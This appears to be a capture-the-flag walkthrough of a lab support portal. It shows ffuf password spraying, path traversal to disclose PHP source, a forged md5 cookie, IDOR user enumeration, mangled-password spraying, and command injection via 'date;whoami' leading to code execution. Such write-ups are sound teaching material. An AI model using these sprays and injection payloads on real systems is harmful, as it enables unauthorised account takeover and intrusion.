Spraying the login

Since the portal exposes the help@support.thm address and shows no rate limiting, I sprayed it with ffuf, filtering out the 200 responses (failed logins) so a successful 302 redirect stands out.

❯ ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
    -X POST \
    -d "email=help@support.thm&password=FUZZ" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -u http://<target-ip>/ -fc 200

████████   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]

A spray of admin@support.thm found nothing, but with help@support.thm : ████████ is valid. Logging in drops us on the Support Dashboard as the Helpdesk User.

Step 1: Path-traversal source disclosure via skin

The dashboard has a Select Theme control. Picking a theme reloads the page as dashboard.php?skin=red and injects a matching <style> block:

<style>
body { background-color: #ffe5e5; }
</style>

That skin parameter is clearly being used to pull a file from disk, a LFI / path-traversal candidate. A non-existent color (?skin=yellow) renders nothing, worth a try to see the errors.

I briefly considered RFI (Remote File Inclusion) to pull in a PHP reverse shell from my own server. The phpinfo() page confirms allow_url_fopen = On…

So instead of pulling code in, I used the traversal to read source out. The parameter appends .php, so I walked back up to read includes/skin.php:

http://<target-ip>/dashboard.php?skin=../includes/skin

That confirms the sink:

include("skins/" . $skin . ".php");

The hard-coded skins/ prefix is another thing that blocks RFI (and stops us escaping cleanly with a wrapper), but it does not stop us reading other .php source files via ../. The juicy target is the auth-gated api.php:

http://<target-ip>/dashboard.php?skin=../api

<?php
session_start();

if (!isset($_SESSION['loggedin'])) {
    header('Location: index.php');
    exit;
}

if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) {
    die('Access denied');
}

include('/var/www/db.php');

$id = $_GET['id'] ?? $_SESSION['user_id'];
$user = $users[$id] ?? null;

if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
    header('Content-Type: application/json');
    unset($user['password']);
    echo json_encode($user, JSON_PRETTY_PRINT);
    exit;
}
?>

Two flaws jump out:

1. Access control, the gate just checks that a cookie equals md5('true').
2. IDOR, $id = $_GET['id'] ?? $_SESSION['user_id']: we can request any user by id.

Step 2: Forge the cookie and abuse the IDOR

The app does hand us an isITUser cookie, but its value doesn’t satisfy the check, so hitting api.php directly just returns Access denied:

The check is simply $_COOKIE['isITUser'] !== md5('true'), and md5('true') is b326b5062b2f0e69046810717534cb09, so we just overwrite the cookie with it:

isITUser = b326b5062b2f0e69046810717534cb09

With that cookie set, api.php lets us through and returns our own profile (/user/3):

Now the IDOR. The code reflects $_GET['id'], so I walked the user table with ?id=:

===== id=1 =====
  "email": "specialadmin@support.thm"   "2FA": false   "admin": true
===== id=2 =====
  "email": "IT@support.thm"             "2FA": false   "admin": false
===== id=3 =====
  "email": "help@support.thm"           "2FA": false   "admin": false

We now know the admin account is specialadmin@support.thm, but the API unset()s the password field before returning, so we have the username and no secret, yet.

Step 3: Leak the master password from config.php

Back to the source-disclosure trick for the one file we couldn’t read before, config.php:

http://<target-ip>/dashboard.php?skin=../config

<?php
$MASTER_PASSWORD = '████████';
$SITE_VER  = '1.0';
$SITE_NAME = 'support_portal';

I tried, but that master password was not the admin’s login directly, frustrating at first, since it failed on both the login form and over SSH. But a “master password” left in config might be a hint that the real one is a variant of it. I generated a mangled wordlist from its tokens with rsmangler and sprayed the admin account:

❯ printf '████████\n███\n' > words.txt
❯ rsmangler --file words.txt > mutations.txt
❯ ffuf -w mutations.txt -X POST \
    -d "email=specialadmin@support.thm&password=FUZZ" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -u http://<target-ip>/ -fc 200

████████     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
████████&    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]

The working password is the same characters as the master one with the symbol dropped. Logging in as specialadmin@support.thm with that variant unlocks the IT Admin Panel and the first flag.

That’s the first flag in the bag. 🚩

Step 4: Command injection in the “Date” function

The admin dashboard adds a new footer control: a Date dropdown that fires a POST with a sys parameter and echoes the server time back.

It looks like the value of sys is passed straight to a shell, tho sending sys=whoami is rejected:

The filter only checks that the command starts with date, so a shell separator bypasses it. sys=date;whoami runs both:

Wed Jun  3 19:26:45 UTC 2026
www-data

We have RCE as www-data. Reading the user flag:

sys=date;cat /home/ubuntu/user.txt

And that’s the box fully owned. 🚩